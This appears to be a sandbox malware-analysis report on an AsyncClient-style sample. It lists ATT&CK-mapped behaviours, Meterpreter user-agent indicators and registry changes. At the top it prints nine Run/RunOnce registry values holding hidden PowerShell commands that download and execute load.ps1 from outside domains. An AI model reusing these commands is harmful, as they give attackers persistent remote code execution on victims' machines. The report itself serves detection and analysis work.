Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.property/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au881.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://au88au88.bar/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://v99win.tv/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://abgstore.com.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.link/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5068	cmd.exe
3764	cmd.exe
6956	cmd.exe
7892	cmd.exe
7344	cmd.exe
6472	cmd.exe
5692	cmd.exe
5856	cmd.exe
1708	cmd.exe
7016	cmd.exe
7748	cmd.exe
1368	cmd.exe
236	cmd.exe
2884	cmd.exe
6972	cmd.exe
1620	cmd.exe
5708	cmd.exe
8128	cmd.exe
4588	cmd.exe
4760	cmd.exe
6908	cmd.exe
4644	cmd.exe
3508	cmd.exe
2572	cmd.exe
2924	cmd.exe
4364	cmd.exe
4328	cmd.exe
3168	cmd.exe
2596	cmd.exe
4664	cmd.exe
7916	cmd.exe
3732	cmd.exe
5072	cmd.exe
3568	cmd.exe
7804	cmd.exe
2052	cmd.exe
2436	cmd.exe
5780	cmd.exe
7008	cmd.exe
6200	cmd.exe
5196	cmd.exe
5392	cmd.exe
1592	cmd.exe
5432	cmd.exe
7256	cmd.exe
4904	cmd.exe
1544	cmd.exe
4548	cmd.exe
8076	cmd.exe
3768	cmd.exe
7568	cmd.exe
4632	cmd.exe
6596	cmd.exe
6380	cmd.exe
7788	cmd.exe
1380	cmd.exe
7840	cmd.exe
4860	cmd.exe
3276	cmd.exe
5892	cmd.exe
6476	cmd.exe
7980	cmd.exe
3584	cmd.exe
1580	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	AsyncClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	AsyncClient.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Meterpreter User-Agent 57 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	611	Meterpreter/1.0 (Windows)
HTTP User-Agent header	105	Meterpreter/1.0 (Windows)
HTTP User-Agent header	23	Meterpreter/1.0 (Windows)
HTTP User-Agent header	24	Meterpreter/1.0 (Windows)
HTTP User-Agent header	116	Meterpreter/1.0 (Windows)
HTTP User-Agent header	237	Meterpreter/1.0 (Windows)
HTTP User-Agent header	467	Meterpreter/1.0 (Windows)
HTTP User-Agent header	581	Meterpreter/1.0 (Windows)
HTTP User-Agent header	8	Meterpreter/1.0 (Windows)
HTTP User-Agent header	416	Meterpreter/1.0 (Windows)
HTTP User-Agent header	432	Meterpreter/1.0 (Windows)
HTTP User-Agent header	529	Meterpreter/1.0 (Windows)
HTTP User-Agent header	549	Meterpreter/1.0 (Windows)
HTTP User-Agent header	634	Meterpreter/1.0 (Windows)
HTTP User-Agent header	703	Meterpreter/1.0 (Windows)
HTTP User-Agent header	172	Meterpreter/1.0 (Windows)
HTTP User-Agent header	411	Meterpreter/1.0 (Windows)
HTTP User-Agent header	830	Meterpreter/1.0 (Windows)
HTTP User-Agent header	834	Meterpreter/1.0 (Windows)
HTTP User-Agent header	19	Meterpreter/1.0 (Windows)
HTTP User-Agent header	136	Meterpreter/1.0 (Windows)
HTTP User-Agent header	519	Meterpreter/1.0 (Windows)
HTTP User-Agent header	227	Meterpreter/1.0 (Windows)
HTTP User-Agent header	106	Meterpreter/1.0 (Windows)
HTTP User-Agent header	124	Meterpreter/1.0 (Windows)
HTTP User-Agent header	125	Meterpreter/1.0 (Windows)
HTTP User-Agent header	402	Meterpreter/1.0 (Windows)
HTTP User-Agent header	426	Meterpreter/1.0 (Windows)
HTTP User-Agent header	587	Meterpreter/1.0 (Windows)
HTTP User-Agent header	98	Meterpreter/1.0 (Windows)
HTTP User-Agent header	122	Meterpreter/1.0 (Windows)
HTTP User-Agent header	401	Meterpreter/1.0 (Windows)
HTTP User-Agent header	514	Meterpreter/1.0 (Windows)
HTTP User-Agent header	20	Meterpreter/1.0 (Windows)
HTTP User-Agent header	168	Meterpreter/1.0 (Windows)
HTTP User-Agent header	267	Meterpreter/1.0 (Windows)
HTTP User-Agent header	428	Meterpreter/1.0 (Windows)
HTTP User-Agent header	509	Meterpreter/1.0 (Windows)
HTTP User-Agent header	550	Meterpreter/1.0 (Windows)
HTTP User-Agent header	554	Meterpreter/1.0 (Windows)
HTTP User-Agent header	592	Meterpreter/1.0 (Windows)
HTTP User-Agent header	299	Meterpreter/1.0 (Windows)
HTTP User-Agent header	410	Meterpreter/1.0 (Windows)
HTTP User-Agent header	510	Meterpreter/1.0 (Windows)
HTTP User-Agent header	541	Meterpreter/1.0 (Windows)
HTTP User-Agent header	562	Meterpreter/1.0 (Windows)
HTTP User-Agent header	159	Meterpreter/1.0 (Windows)
HTTP User-Agent header	396	Meterpreter/1.0 (Windows)
HTTP User-Agent header	797	Meterpreter/1.0 (Windows)
HTTP User-Agent header	417	Meterpreter/1.0 (Windows)
HTTP User-Agent header	473	Meterpreter/1.0 (Windows)
HTTP User-Agent header	543	Meterpreter/1.0 (Windows)
HTTP User-Agent header	573	Meterpreter/1.0 (Windows)
HTTP User-Agent header	101	Meterpreter/1.0 (Windows)
HTTP User-Agent header	141	Meterpreter/1.0 (Windows)
HTTP User-Agent header	165	Meterpreter/1.0 (Windows)
HTTP User-Agent header	545	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2293636880-3790684622-1477845016-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
